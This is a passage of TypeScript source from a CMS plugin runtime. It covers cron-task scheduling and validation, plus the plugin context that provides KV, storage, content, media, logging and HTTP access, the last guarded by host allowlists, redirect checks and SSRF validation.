plugin+name, update it.\n\t\t// Guard: don't clobber a task that is currently executing.\n\t\tawait sql`\n\t\t\tINSERT INTO _emdash_cron_tasks (id, plugin_id, task_name, schedule, is_oneshot, data, next_run_at, status, enabled)\n\t\t\tVALUES (${id}, ${this.pluginId}, ${name}, ${opts.schedule}, ${oneshot ? 1 : 0}, ${dataJson}, ${nextRun}, 'idle', 1)\n\t\t\tON CONFLICT (plugin_id, task_name) DO UPDATE SET\n\t\t\t\tschedule = ${opts.schedule},\n\t\t\t\tis_oneshot = ${oneshot ? 1 : 0},\n\t\t\t\tdata = ${dataJson},\n\t\t\t\tnext_run_at = ${nextRun},\n\t\t\t\tstatus = CASE WHEN _emdash_cron_tasks.status = 'running' THEN 'running' ELSE 'idle' END,\n\t\t\t\tlocked_at = CASE WHEN _emdash_cron_tasks.status = 'running' THEN _emdash_cron_tasks.locked_at ELSE NULL END,\n\t\t\t\tenabled = 1\n\t\t`.execute(this.db);\n\n\t\tthis.reschedule();\n\t}\n\n\tasync cancel(name: string): Promise<void> {\n\t\tawait sql`\n\t\t\tDELETE FROM _emdash_cron_tasks\n\t\t\tWHERE plugin_id = ${this.pluginId} AND task_name = ${name}\n\t\t`.execute(this.db);\n\n\t\tthis.reschedule();\n\t}\n\n\tasync list(): Promise<CronTaskInfo[]> {\n\t\tconst rows = await sql<{\n\t\t\ttask_name: string;\n\t\t\tschedule: string;\n\t\t\tnext_run_at: string;\n\t\t\tlast_run_at: string | null;\n\t\t}>`\n\t\t\tSELECT task_name, schedule, next_run_at, last_run_at\n\t\t\tFROM _emdash_cron_tasks\n\t\t\tWHERE plugin_id = ${this.pluginId} AND enabled = 1\n\t\t\tORDER BY next_run_at ASC\n\t\t`.execute(this.db);\n\n\t\treturn rows.rows.map((row) => ({\n\t\t\tname: row.task_name,\n\t\t\tschedule: row.schedule,\n\t\t\tnextRunAt: row.next_run_at,\n\t\t\tlastRunAt: row.last_run_at,\n\t\t}));\n\t}\n}\n\n// ─── Cron task lifecycle helpers ────────────────────────────────────────────\n\n/**\n * Enable or disable all cron tasks for a plugin.\n * Called by admin disable/enable endpoints and PluginManager lifecycle.\n * Gracefully handles the cron table not existing yet (pre-migration).\n */\nexport async function setCronTasksEnabled(\n\tdb: Kysely<Database>,\n\tpluginId: string,\n\tenabled: boolean,\n): Promise<void> {\n\ttry {\n\t\tawait sql`\n\t\t\tUPDATE _emdash_cron_tasks\n\t\t\tSET enabled = ${enabled ? 1 : 0}\n\t\t\tWHERE plugin_id = ${pluginId}\n\t\t`.execute(db);\n\t} catch {\n\t\t// Cron table may not exist yet (pre-migration). Non-fatal.\n\t}\n}\n\n// ─── Cron utilities ────────────────────────────────────────────────────────\n\n/**\n * Compute the next fire time for a cron expression.\n * Supports standard cron (5-field), extended (6-field with seconds), and\n * aliases like @daily, @weekly, @hourly, @monthly, @yearly.\n */\nexport function nextCronTime(expression: string): string {\n\tconst job = new Cron(expression);\n\tconst next = job.nextRun();\n\tif (!next) {\n\t\tthrow new Error(`Invalid cron expression or no future run: \"${expression}\"`);\n\t}\n\treturn next.toISOString();\n}\n\n/**\n * Check whether a string is a valid cron expression.\n */\nfunction isCronExpression(schedule: string): boolean {\n\ttry {\n\t\t// Cron constructor validates; we discard the instance immediately.\n\t\tconst _cron = new Cron(schedule);\n\t\tvoid _cron;\n\t\treturn true;\n\t} catch {\n\t\treturn false;\n\t}\n}\n\n/**\n * Check if a schedule string is a one-shot (ISO 8601 datetime) rather than\n * a recurring cron expression.\n *\n * Tries to parse as a cron expression first. Only if that fails does it\n * attempt Date.parse. This avoids misclassifying cron range expressions\n * like \"1-5 * * * *\" which Date.parse accepts as valid dates.\n */\nexport function isOneShot(schedule: string): boolean {\n\tif (schedule.startsWith(\"@\")) return false;\n\tif (isCronExpression(schedule)) return false;\n\treturn !isNaN(Date.parse(schedule));\n}\n\n/** Max length for a task name */\nconst MAX_TASK_NAME_LENGTH = 128;\n/** Task name pattern: alphanumeric, dashes, underscores */\nconst TASK_NAME_RE = /^[a-zA-Z][a-zA-Z0-9_-]*$/;\n\n/**\n * Validate a cron task name.\n * Must be non-empty, ≤128 chars, alphanumeric with dashes/underscores.\n */\nexport function validateTaskName(name: string): void {\n\tif (!name || name.length > MAX_TASK_NAME_LENGTH) {\n\t\tthrow new Error(\n\t\t\t`Invalid task name: must be 1-${MAX_TASK_NAME_LENGTH} characters, got ${name.length}`,\n\t\t);\n\t}\n\tif (!TASK_NAME_RE.test(name)) {\n\t\tthrow new Error(\n\t\t\t`Invalid task name \"${name}\": must start with a letter and contain only letters, numbers, dashes, or underscores`,\n\t\t);\n\t}\n}\n\n/**\n * Validate a schedule string at registration time.\n * Must be a valid cron expression or a parseable ISO 8601 datetime.\n */\nexport function validateSchedule(schedule: string): void {\n\tif (!schedule || schedule.length > 256) {\n\t\tthrow new Error(`Invalid schedule: must be 1-256 characters, got ${schedule.length}`);\n\t}\n\n\t// Try cron first\n\tif (isCronExpression(schedule)) return;\n\n\tconst parsed = Date.parse(schedule);\n\tif (isNaN(parsed)) {\n\t\tthrow new Error(\n\t\t\t`Invalid schedule \"${schedule}\": must be a valid cron expression or ISO 8601 datetime`,\n\t\t);\n\t}\n}\n","/**\n * Plugin Context v2\n *\n * Creates the unified context object provided to plugins in all hooks and routes.\n *\n */\n\nimport type { Kysely } from \"kysely\";\nimport { ulid } from \"ulidx\";\n\nimport { ContentRepository } from \"../database/repositories/content.js\";\nimport { MediaRepository } from \"../database/repositories/media.js\";\nimport { OptionsRepository } from \"../database/repositories/options.js\";\nimport { PluginStorageRepository } from \"../database/repositories/plugin-storage.js\";\nimport { SeoRepository } from \"../database/repositories/seo.js\";\nimport { UserRepository } from \"../database/repositories/user.js\";\nimport { withTransaction } from \"../database/transaction.js\";\nimport type { Database } from \"../database/types.js\";\nimport {\n\tresolveAndValidateExternalUrl,\n\tSsrfError,\n\tstripCredentialHeaders,\n} from \"../import/ssrf.js\";\nimport { invalidateSiteSettingsCache } from \"../settings/index.js\";\nimport type { Storage } from \"../storage/types.js\";\nimport { CronAccessImpl } from \"./cron.js\";\nimport type { EmailPipeline } from \"./email.js\";\nimport type {\n\tResolvedPlugin,\n\tPluginContext,\n\tPluginStorageConfig,\n\tStorageCollection,\n\tKVAccess,\n\tCronAccess,\n\tEmailAccess,\n\tContentAccess,\n\tContentAccessWithWrite,\n\tMediaAccess,\n\tMediaAccessWithWrite,\n\tHttpAccess,\n\tLogAccess,\n\tSiteInfo,\n\tUserAccess,\n\tUserInfo,\n\tContentItem,\n\tContentItemSeoInput,\n\tContentWriteInput,\n\tMediaItem,\n\tPaginatedResult,\n\tQueryOptions,\n\tContentListOptions,\n\tMediaListOptions,\n} from \"./types.js\";\n\n// =============================================================================\n// KV Access\n// =============================================================================\n\n/**\n * Create KV accessor for a plugin\n * All keys are automatically prefixed with the plugin ID\n */\nexport function createKVAccess(optionsRepo: OptionsRepository, pluginId: string): KVAccess {\n\tconst prefix = `plugin:${pluginId}:`;\n\n\treturn {\n\t\tasync get<T>(key: string): Promise<T | null> {\n\t\t\treturn optionsRepo.get<T>(`${prefix}${key}`);\n\t\t},\n\n\t\tasync set(key: string, value: unknown): Promise<void> {\n\t\t\tawait optionsRepo.set(`${prefix}${key}`, value);\n\t\t},\n\n\t\tasync delete(key: string): Promise<boolean> {\n\t\t\treturn optionsRepo.delete(`${prefix}${key}`);\n\t\t},\n\n\t\tasync list(keyPrefix?: string): Promise<Array<{ key: string; value: unknown }>> {\n\t\t\tconst fullPrefix = `${prefix}${keyPrefix ?? \"\"}`;\n\t\t\tconst entriesMap = await optionsRepo.getByPrefix(fullPrefix);\n\t\t\tconst result: Array<{ key: string; value: unknown }> = [];\n\t\t\tfor (const [fullKey, value] of entriesMap) {\n\t\t\t\tresult.push({\n\t\t\t\t\tkey: fullKey.slice(prefix.length),\n\t\t\t\t\tvalue,\n\t\t\t\t});\n\t\t\t}\n\t\t\treturn result;\n\t\t},\n\t};\n}\n\n// =============================================================================\n// Storage Access\n// =============================================================================\n\n/**\n * Create storage collection accessor for a plugin\n * Wraps PluginStorageRepository with the v2 interface (no async iterators)\n */\nfunction createStorageCollection<T>(\n\tdb: Kysely<Database>,\n\tpluginId: string,\n\tcollectionName: string,\n\tindexes: Array<string | string[]>,\n): StorageCollection<T> {\n\tconst repo = new PluginStorageRepository<T>(db, pluginId, collectionName, indexes);\n\n\treturn {\n\t\tget: (id) => repo.get(id),\n\t\tput: (id, data) => repo.put(id, data),\n\t\tdelete: (id) => repo.delete(id),\n\t\texists: (id) => repo.exists(id),\n\t\tgetMany: (ids) => repo.getMany(ids),\n\t\tputMany: (items) => repo.putMany(items),\n\t\tdeleteMany: (ids) => repo.deleteMany(ids),\n\t\tcount: (where) => repo.count(where),\n\n\t\t// Query returns PaginatedResult instead of the old format\n\t\tasync query(options?: QueryOptions): Promise<PaginatedResult<{ id: string; data: T }>> {\n\t\t\tconst result = await repo.query({\n\t\t\t\twhere: options?.where,\n\t\t\t\torderBy: options?.orderBy,\n\t\t\t\tlimit: options?.limit,\n\t\t\t\tcursor: options?.cursor,\n\t\t\t});\n\n\t\t\treturn {\n\t\t\t\titems: result.items,\n\t\t\t\tcursor: result.cursor,\n\t\t\t\thasMore: result.hasMore,\n\t\t\t};\n\t\t},\n\t};\n}\n\n/**\n * Create storage accessor with all declared collections\n */\nexport function createStorageAccess<T extends PluginStorageConfig>(\n\tdb: Kysely<Database>,\n\tpluginId: string,\n\tstorageConfig: T,\n): Record<string, StorageCollection> {\n\tconst storage: Record<string, StorageCollection> = {};\n\n\tfor (const [collectionName, config] of Object.entries(storageConfig)) {\n\t\tconst allIndexes = [...config.indexes, ...(config.uniqueIndexes ?? [])];\n\t\tstorage[collectionName] = createStorageCollection(db, pluginId, collectionName, allIndexes);\n\t}\n\n\treturn storage;\n}\n\n// =============================================================================\n// Content Access\n// =============================================================================\n\n/**\n * Extract `seo` from a plugin-supplied content write input and return both\n * parts. Mutates nothing — returns a new field map without the `seo` key.\n */\nfunction splitSeoFromInput(input: ContentWriteInput): {\n\tfields: Record<string, unknown>;\n\tseo: ContentItemSeoInput | undefined;\n} {\n\tconst { seo, ...fields } = input;\n\t// Reject non-object seo values rather than silently dropping them.\n\tif (seo !== undefined && (seo === null || typeof seo !== \"object\" || Array.isArray(seo))) {\n\t\tthrow new Error(\"content.seo must be an object\");\n\t}\n\treturn { fields, seo };\n}\n\n/**\n * Reject writing SEO to a collection that does not have it enabled.\n * Matches the REST API behavior (VALIDATION_ERROR).\n */\nasync function assertSeoEnabled(\n\tseoRepo: SeoRepository,\n\tcollection: string,\n\tseo: ContentItemSeoInput | undefined,\n): Promise<boolean> {\n\tconst hasSeo = await seoRepo.isEnabled(collection);\n\tif (seo !== undefined && !hasSeo) {\n\t\tthrow new Error(\n\t\t\t`Collection \"${collection}\" does not have SEO enabled. ` +\n\t\t\t\t`Remove the seo field or enable SEO on this collection.`,\n\t\t);\n\t}\n\treturn hasSeo;\n}\n\n/**\n * Create read-only content access\n */\nexport function createContentAccess(db: Kysely<Database>): ContentAccess {\n\tconst contentRepo = new ContentRepository(db);\n\tconst seoRepo = new SeoRepository(db);\n\n\treturn {\n\t\tasync get(collection: string, id: string): Promise<ContentItem | null> {\n\t\t\tconst item = await contentRepo.findById(collection, id);\n\t\t\tif (!item) return null;\n\n\t\t\tconst result: ContentItem = {\n\t\t\t\tid: item.id,\n\t\t\t\ttype: item.type,\n\t\t\t\tslug: item.slug,\n\t\t\t\tstatus: item.status,\n\t\t\t\tdata: item.data,\n\t\t\t\tcreatedAt: item.createdAt,\n\t\t\t\tupdatedAt: item.updatedAt,\n\t\t\t\tlocale: item.locale,\n\t\t\t\tpublishedAt: item.publishedAt,\n\t\t\t};\n\n\t\t\tif (await seoRepo.isEnabled(collection)) {\n\t\t\t\tresult.seo = await seoRepo.get(collection, item.id);\n\t\t\t}\n\n\t\t\treturn result;\n\t\t},\n\n\t\tasync list(\n\t\t\tcollection: string,\n\t\t\toptions?: ContentListOptions,\n\t\t): Promise<PaginatedResult<ContentItem>> {\n\t\t\t// Convert orderBy format if provided\n\t\t\tlet orderBy: { field: string; direction: \"asc\" | \"desc\" } | undefined;\n\t\t\tif (options?.orderBy) {\n\t\t\t\tconst entries = Object.entries(options.orderBy);\n\t\t\t\tconst first = entries[0];\n\t\t\t\tif (first) {\n\t\t\t\t\torderBy = { field: first[0], direction: first[1] };\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tconst result = await contentRepo.findMany(collection, {\n\t\t\t\tlimit: options?.limit ?? 50,\n\t\t\t\tcursor: options?.cursor,\n\t\t\t\torderBy,\n\t\t\t\twhere: options?.where,\n\t\t\t});\n\n\t\t\tconst items: ContentItem[] = result.items.map((item) => ({\n\t\t\t\tid: item.id,\n\t\t\t\ttype: item.type,\n\t\t\t\tslug: item.slug,\n\t\t\t\tstatus: item.status,\n\t\t\t\tdata: item.data,\n\t\t\t\tcreatedAt: item.createdAt,\n\t\t\t\tupdatedAt: item.updatedAt,\n\t\t\t\tlocale: item.locale,\n\t\t\t\tpublishedAt: item.publishedAt,\n\t\t\t}));\n\n\t\t\tif (items.length > 0 && (await seoRepo.isEnabled(collection))) {\n\t\t\t\tconst seoMap = await seoRepo.getMany(\n\t\t\t\t\tcollection,\n\t\t\t\t\titems.map((i) => i.id),\n\t\t\t\t);\n\t\t\t\tfor (const item of items) {\n\t\t\t\t\tconst seo = seoMap.get(item.id);\n\t\t\t\t\tif (seo) item.seo = seo;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn {\n\t\t\t\titems,\n\t\t\t\tcursor: result.nextCursor,\n\t\t\t\thasMore: !!result.nextCursor,\n\t\t\t};\n\t\t},\n\t};\n}\n\n/**\n * Create full content access with write operations.\n *\n * `create` and `update` accept a reserved `seo` key in their `data`\n * argument. When present, it is routed to the core SEO panel\n * (`_emdash_seo`) via `SeoRepository.upsert`, in the same transaction as\n * the content write. The returned `ContentItem.seo` reflects the resulting\n * SEO state for SEO-enabled collections.\n */\nexport function createContentAccessWithWrite(db: Kysely<Database>): ContentAccessWithWrite {\n\tconst readAccess = createContentAccess(db);\n\n\treturn {\n\t\t...readAccess,\n\n\t\tasync create(collection: string, data: ContentWriteInput): Promise<ContentItem> {\n\t\t\tconst { fields, seo } = splitSeoFromInput(data);\n\n\t\t\treturn withTransaction(db, async (trx) => {\n\t\t\t\tconst trxContentRepo = new ContentRepository(trx);\n\t\t\t\tconst trxSeoRepo = new SeoRepository(trx);\n\n\t\t\t\tconst hasSeo = await assertSeoEnabled(trxSeoRepo, collection, seo);\n\n\t\t\t\tconst item = await trxContentRepo.create({\n\t\t\t\t\ttype: collection,\n\t\t\t\t\tdata: fields,\n\t\t\t\t});\n\n\t\t\t\tconst result: ContentItem = {\n\t\t\t\t\tid: item.id,\n\t\t\t\t\ttype: item.type,\n\t\t\t\t\tslug: item.slug,\n\t\t\t\t\tstatus: item.status,\n\t\t\t\t\tdata: item.data,\n\t\t\t\t\tcreatedAt: item.createdAt,\n\t\t\t\t\tupdatedAt: item.updatedAt,\n\t\t\t\t\tlocale: item.locale,\n\t\t\t\t\tpublishedAt: item.publishedAt,\n\t\t\t\t};\n\n\t\t\t\tif (hasSeo) {\n\t\t\t\t\tresult.seo =\n\t\t\t\t\t\tseo !== undefined\n\t\t\t\t\t\t\t? await trxSeoRepo.upsert(collection, item.id, seo)\n\t\t\t\t\t\t\t: await trxSeoRepo.get(collection, item.id);\n\t\t\t\t}\n\n\t\t\t\treturn result;\n\t\t\t});\n\t\t},\n\n\t\tasync update(collection: string, id: string, data: ContentWriteInput): Promise<ContentItem> {\n\t\t\tconst { fields, seo } = splitSeoFromInput(data);\n\n\t\t\treturn withTransaction(db, async (trx) => {\n\t\t\t\tconst trxContentRepo = new ContentRepository(trx);\n\t\t\t\tconst trxSeoRepo = new SeoRepository(trx);\n\n\t\t\t\tconst hasSeo = await assertSeoEnabled(trxSeoRepo, collection, seo);\n\n\t\t\t\t// Pass the `data` payload to ContentRepository.update only when\n\t\t\t\t// there are field updates — passing an empty object would still\n\t\t\t\t// bump updated_at/version, but we want a seo-only call to touch\n\t\t\t\t// only the SEO table. ContentRepository.update handles the no-op\n\t\t\t\t// path by returning the current row.\n\t\t\t\tconst hasFieldUpdates = Object.keys(fields).length > 0;\n\t\t\t\tconst item = hasFieldUpdates\n\t\t\t\t\t? await trxContentRepo.update(collection, id, { data: fields })\n\t\t\t\t\t: await (async () => {\n\t\t\t\t\t\t\tconst existing = await trxContentRepo.findById(collection, id);\n\t\t\t\t\t\t\tif (!existing) throw new Error(\"Content not found\");\n\t\t\t\t\t\t\treturn existing;\n\t\t\t\t\t\t})();\n\n\t\t\t\tconst result: ContentItem = {\n\t\t\t\t\tid: item.id,\n\t\t\t\t\ttype: item.type,\n\t\t\t\t\tslug: item.slug,\n\t\t\t\t\tstatus: item.status,\n\t\t\t\t\tdata: item.data,\n\t\t\t\t\tcreatedAt: item.createdAt,\n\t\t\t\t\tupdatedAt: item.updatedAt,\n\t\t\t\t\tlocale: item.locale,\n\t\t\t\t\tpublishedAt: item.publishedAt,\n\t\t\t\t};\n\n\t\t\t\tif (hasSeo) {\n\t\t\t\t\tresult.seo =\n\t\t\t\t\t\tseo !== undefined\n\t\t\t\t\t\t\t? await trxSeoRepo.upsert(collection, item.id, seo)\n\t\t\t\t\t\t\t: await trxSeoRepo.get(collection, item.id);\n\t\t\t\t}\n\n\t\t\t\treturn result;\n\t\t\t});\n\t\t},\n\n\t\tasync delete(collection: string, id: string): Promise<boolean> {\n\t\t\tconst contentRepo = new ContentRepository(db);\n\t\t\treturn contentRepo.delete(collection, id);\n\t\t},\n\t};\n}\n\n// =============================================================================\n// Media Access\n// =============================================================================\n\n/**\n * Create read-only media access\n */\nexport function createMediaAccess(db: Kysely<Database>): MediaAccess {\n\tconst mediaRepo = new MediaRepository(db);\n\n\treturn {\n\t\tasync get(id: string): Promise<MediaItem | null> {\n\t\t\tconst item = await mediaRepo.findById(id);\n\t\t\tif (!item) return null;\n\n\t\t\treturn {\n\t\t\t\tid: item.id,\n\t\t\t\tfilename: item.filename,\n\t\t\t\tmimeType: item.mimeType,\n\t\t\t\tsize: item.size,\n\t\t\t\t// Construct URL from storage key (or use a sensible default path)\n\t\t\t\turl: `/media/${item.id}/${item.filename}`,\n\t\t\t\tcreatedAt: item.createdAt,\n\t\t\t};\n\t\t},\n\n\t\tasync list(options?: MediaListOptions): Promise<PaginatedResult<MediaItem>> {\n\t\t\tconst result = await mediaRepo.findMany({\n\t\t\t\tlimit: options?.limit ?? 50,\n\t\t\t\tcursor: options?.cursor,\n\t\t\t\tmimeType: options?.mimeType,\n\t\t\t});\n\n\t\t\treturn {\n\t\t\t\titems: result.items.map((item) => ({\n\t\t\t\t\tid: item.id,\n\t\t\t\t\tfilename: item.filename,\n\t\t\t\t\tmimeType: item.mimeType,\n\t\t\t\t\tsize: item.size,\n\t\t\t\t\turl: `/media/${item.id}/${item.filename}`,\n\t\t\t\t\tcreatedAt: item.createdAt,\n\t\t\t\t})),\n\t\t\t\tcursor: result.nextCursor,\n\t\t\t\thasMore: !!result.nextCursor,\n\t\t\t};\n\t\t},\n\t};\n}\n\n/**\n * Create full media access with write operations.\n * If storage is not provided, upload() will throw at call time.\n */\nexport function createMediaAccessWithWrite(\n\tdb: Kysely<Database>,\n\tgetUploadUrlFn: (\n\t\tfilename: string,\n\t\tcontentType: string,\n\t) => Promise<{ uploadUrl: string; mediaId: string }>,\n\tstorage?: Storage,\n): MediaAccessWithWrite {\n\tconst mediaRepo = new MediaRepository(db);\n\tconst readAccess = createMediaAccess(db);\n\n\treturn {\n\t\t...readAccess,\n\n\t\tgetUploadUrl: getUploadUrlFn,\n\n\t\tasync upload(\n\t\t\tfilename: string,\n\t\t\tcontentType: string,\n\t\t\tbytes: ArrayBuffer,\n\t\t): Promise<{ mediaId: string; storageKey: string; url: string }> {\n\t\t\tif (!storage) {\n\t\t\t\tthrow new Error(\n\t\t\t\t\t\"Media upload() requires a storage backend. Configure storage in PluginContextFactoryOptions.\",\n\t\t\t\t);\n\t\t\t}\n\n\t\t\t// Generate a storage key with a unique prefix\n\t\t\tconst keyPrefix = ulid();\n\t\t\t// Extract extension from basename (ignore path separators)\n\t\t\tconst basename = filename.split(\"/\").pop() ?? filename;\n\t\t\tconst dotIdx = basename.lastIndexOf(\".\");\n\t\t\tconst ext = dotIdx > 0 ? basename.slice(dotIdx).toLowerCase() : \"\";\n\t\t\tconst storageKey = `${keyPrefix}${ext}`;\n\n\t\t\t// Upload to storage first\n\t\t\tawait storage.upload({\n\t\t\t\tkey: storageKey,\n\t\t\t\tbody: new Uint8Array(bytes),\n\t\t\t\tcontentType,\n\t\t\t});\n\n\t\t\t// Create DB record — clean up storage on failure\n\t\t\tlet media;\n\t\t\ttry {\n\t\t\t\tmedia = await mediaRepo.create({\n\t\t\t\t\tfilename: basename,\n\t\t\t\t\tmimeType: contentType,\n\t\t\t\t\tsize: bytes.byteLength,\n\t\t\t\t\tstorageKey,\n\t\t\t\t\tstatus: \"ready\",\n\t\t\t\t});\n\t\t\t} catch (error) {\n\t\t\t\ttry {\n\t\t\t\t\tawait storage.delete(storageKey);\n\t\t\t\t} catch {\n\t\t\t\t\t// Best-effort cleanup\n\t\t\t\t}\n\t\t\t\tthrow error;\n\t\t\t}\n\n\t\t\treturn {\n\t\t\t\tmediaId: media.id,\n\t\t\t\tstorageKey,\n\t\t\t\turl: `/_emdash/api/media/file/${storageKey}`,\n\t\t\t};\n\t\t},\n\n\t\tasync delete(id: string): Promise<boolean> {\n\t\t\tconst deleted = await mediaRepo.delete(id);\n\t\t\t// Plugins can delete media that's referenced by site settings\n\t\t\t// (`logo`, `favicon`, `seo.defaultOgImage`); the worker-scoped\n\t\t\t// resolved-URL cache must be dropped or it will keep serving\n\t\t\t// 404s. Matches the invalidation in\n\t\t\t// `EmDashRuntime.handleMediaDelete`.\n\t\t\tif (deleted) {\n\t\t\t\tinvalidateSiteSettingsCache();\n\t\t\t}\n\t\t\treturn deleted;\n\t\t},\n\t};\n}\n\n// =============================================================================\n// HTTP Access\n// =============================================================================\n\n/** Maximum number of redirects to follow in plugin HTTP access */\nconst MAX_PLUGIN_REDIRECTS = 5;\n\n/**\n * Check if a hostname matches any pattern in the allowed list.\n * Patterns: \"*\" matches all, \"*.example.com\" matches subdomains AND bare \"example.com\",\n * \"api.example.com\" matches exactly.\n */\nfunction isHostAllowed(host: string, allowedHosts: string[]): boolean {\n\treturn allowedHosts.some((pattern) => {\n\t\tif (pattern === \"*\") return true;\n\t\tif (pattern.startsWith(\"*.\")) {\n\t\t\tconst suffix = pattern.slice(1); // \".example.com\"\n\t\t\t// Match subdomains (foo.example.com) and bare domain (example.com)\n\t\t\treturn host.endsWith(suffix) || host === pattern.slice(2);\n\t\t}\n\t\treturn host === pattern;\n\t});\n}\n\n/**\n * Create HTTP access with host validation.\n *\n * Uses redirect: \"manual\" to re-validate each redirect target against\n * the allowedHosts list, preventing redirects to unauthorized hosts.\n */\nexport function createHttpAccess(pluginId: string, allowedHosts: string[]): HttpAccess {\n\treturn {\n\t\tasync fetch(url: string, init?: RequestInit): Promise<Response> {\n\t\t\t// Deny by default — plugins must declare allowed hosts\n\t\t\tif (allowedHosts.length === 0) {\n\t\t\t\tthrow new Error(\n\t\t\t\t\t`Plugin \"${pluginId}\" has no allowed hosts configured. ` +\n\t\t\t\t\t\t`Add hosts to the plugin's allowedHosts array to enable HTTP requests.`,\n\t\t\t\t);\n\t\t\t}\n\n\t\t\tlet currentUrl = url;\n\t\t\tlet currentInit = init;\n\n\t\t\tfor (let i = 0; i <= MAX_PLUGIN_REDIRECTS; i++) {\n\t\t\t\tconst hostname = new URL(currentUrl).hostname;\n\t\t\t\tif (!isHostAllowed(hostname, allowedHosts)) {\n\t\t\t\t\tthrow new Error(\n\t\t\t\t\t\t`Plugin \"${pluginId}\" is not allowed to fetch from host \"${hostname}\". ` +\n\t\t\t\t\t\t\t`Allowed hosts: ${allowedHosts.join(\", \")}`,\n\t\t\t\t\t);\n\t\t\t\t}\n\n\t\t\t\tconst response = await globalThis.fetch(currentUrl, {\n\t\t\t\t\t...currentInit,\n\t\t\t\t\tredirect: \"manual\",\n\t\t\t\t});\n\n\t\t\t\t// Not a redirect -- return directly\n\t\t\t\tif (response.status < 300 || response.status >= 400) {\n\t\t\t\t\treturn response;\n\t\t\t\t}\n\n\t\t\t\t// Extract redirect target\n\t\t\t\tconst location = response.headers.get(\"Location\");\n\t\t\t\tif (!location) {\n\t\t\t\t\treturn response;\n\t\t\t\t}\n\n\t\t\t\t// Resolve relative redirects; strip credentials on cross-origin hops\n\t\t\t\tconst previousOrigin = new URL(currentUrl).origin;\n\t\t\t\tcurrentUrl = new URL(location, currentUrl).href;\n\t\t\t\tconst nextOrigin = new URL(currentUrl).origin;\n\n\t\t\t\tif (previousOrigin !== nextOrigin && currentInit) {\n\t\t\t\t\tcurrentInit = stripCredentialHeaders(currentInit);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tthrow new Error(`Plugin \"${pluginId}\": too many redirects (max ${MAX_PLUGIN_REDIRECTS})`);\n\t\t},\n\t};\n}\n\n/**\n * Create unrestricted HTTP access (for plugins with network:fetch:any capability).\n * No host validation, but applies SSRF protection on redirect targets to\n * prevent plugins from being tricked into reaching internal services.\n */\nexport function createUnrestrictedHttpAccess(pluginId: string): HttpAccess {\n\treturn {\n\t\tasync fetch(url: string, init?: RequestInit): Promise<Response> {\n\t\t\tlet currentUrl = url;\n\t\t\tlet currentInit = init;\n\n\t\t\tfor (let i = 0; i <= MAX_PLUGIN_REDIRECTS; i++) {\n\t\t\t\t// Validate each URL against SSRF rules (private IPs, metadata\n\t\t\t\t// endpoints, wildcard DNS, resolved-IP private ranges).\n\t\t\t\ttry {\n\t\t\t\t\tawait resolveAndValidateExternalUrl(currentUrl);\n\t\t\t\t} catch (e) {\n\t\t\t\t\tconst msg = e instanceof SsrfError ? e.message : \"SSRF validation failed\";\n\t\t\t\t\tthrow new Error(\n\t\t\t\t\t\t`Plugin \"${pluginId}\": blocked fetch to \"${new URL(currentUrl).hostname}\": ${msg}`,\n\t\t\t\t\t\t{ cause: e },\n\t\t\t\t\t);\n\t\t\t\t}\n\n\t\t\t\tconst response = await globalThis.fetch(currentUrl, {\n\t\t\t\t\t...currentInit,\n\t\t\t\t\tredirect: \"manual\",\n\t\t\t\t});\n\n\t\t\t\t// Not a redirect -- return directly\n\t\t\t\tif (response.status < 300 || response.status >= 400) {\n\t\t\t\t\treturn response;\n\t\t\t\t}\n\n\t\t\t\t// Extract redirect target\n\t\t\t\tconst location = response.headers.get(\"Location\");\n\t\t\t\tif (!location) {\n\t\t\t\t\treturn response;\n\t\t\t\t}\n\n\t\t\t\t// Resolve relative redirects; strip credentials on cross-origin hops\n\t\t\t\tconst previousOrigin = new URL(currentUrl).origin;\n\t\t\t\tcurrentUrl = new URL(location, currentUrl).href;\n\t\t\t\tconst nextOrigin = new URL(currentUrl).origin;\n\n\t\t\t\tif (previousOrigin !== nextOrigin && currentInit) {\n\t\t\t\t\tcurrentInit = stripCredentialHeaders(currentInit);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tthrow new Error(`Plugin \"${pluginId}\": too many redirects (max ${MAX_PLUGIN_REDIRECTS})`);\n\t\t},\n\t};\n}\n\n/**\n * Create blocked HTTP access (for plugins without network:request capability)\n */\nexport function createBlockedHttpAccess(pluginId: string): HttpAccess {\n\treturn {\n\t\tasync fetch(): Promise<never> {\n\t\t\tthrow new Error(\n\t\t\t\t`Plugin \"${pluginId}\" does not have the \"network:request\" capability. ` +\n\t\t\t\t\t`Add \"network:request\" to the plugin's capabilities to enable HTTP requests.`,\n\t\t\t);\n\t\t},\n\t};\n}\n\n// =============================================================================\n// Log Access\n// =============================================================================\n\n/**\n * Create logger for a plugin\n */\nexport function createLogAccess(pluginId: string): LogAccess {\n\tconst prefix = `[plugin:${pluginId}]`;\n\n\treturn {\n\t\tdebug(message: string, data?: unknown): void {\n\t\t\tif (data !== undefined) {\n\t\t\t\tconsole.debug(prefix, message, data);\n\t\t\t} else {\n\t\t\t\tconsole.debug(prefix, message);\n\t\t\t}\n\t\t},\n\n\t\tinfo(message: string, data?: unknown): void {\n\t\t\tif (data !== undefined) {\n\t\t\t\tconsole.info(prefix, message, data);\n\t\t\t} else {\n\t\t\t\tconsole.info(prefix, message);\n\t\t\t}\n\t\t},\n\n\t\twarn(message: string, data?: unknown): void {\n\t\t\tif (data !== undefined) {\n\t\t\t\tconsole.warn(prefix, message, data);\n\t\t\t} else {\n\t\t\t\tconsole.warn(prefix, message);\n\t\t\t}\n\t\t},\n\n\t\terror(message: string, data?: unknown): void {\n\t\t\tif (data !== undefined) {\n\t\t\t\tconsole.error(prefix, message, data);\n\t\t\t} else {\n\t\t\t\tconsole.error(prefix, message);\n\t\t\t}\n\t\t},\n\t};\n}\n\n// =============================================================================\n// Site Info\n// =============================================================================\n\nconst TRAILING_SLASH_RE = /\\/$/;\n\n/**\n * Options for creating site info\n */\nexport interface SiteInfoOptions {\n\t/** Site name from options table */\n\tsiteName?: string;\n\t/** Site URL from options table or Astro config */\n\tsiteUrl?: string;\n\t/** Site locale from options table */\n\tlocale?: string;\n}\n\n/**\n * Create site info from config and settings.\n *\n * Resolution order for URL:\n * 1. options table (emdash:site_url)\n * 2. Astro `site` config\n * 3. fallback to empty string\n */\nexport function createSiteInfo(options: SiteInfoOptions): SiteInfo {\n\treturn {\n\t\tname: options.siteName ?? \"\",\n\t\turl: (options.siteUrl ?? \"\").replace(TRAILING_SLASH_RE, \"\"), // strip trailing 